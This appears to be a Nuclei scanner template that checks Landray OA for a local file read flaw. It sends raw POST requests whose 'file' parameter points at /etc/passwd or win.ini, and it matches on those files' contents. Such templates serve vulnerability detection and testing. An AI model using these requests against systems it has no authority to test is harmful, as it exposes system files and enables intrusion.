nuclei-templates/vulnerabilities/other/landray-oa-fileread.yaml

39 lines
868 B
YAML

id: landray-oa-fileread
info:
name: Landray-OA Fileread
author: pikpikcu
severity: high
reference: https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
tags: landray,lfi
requests:
- raw:
- |
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"file:///etc/passwd"}}
- |
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"file:///c://windows/win.ini"}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "for 16-bit app support"
condition: or
- type: status
status:
- 200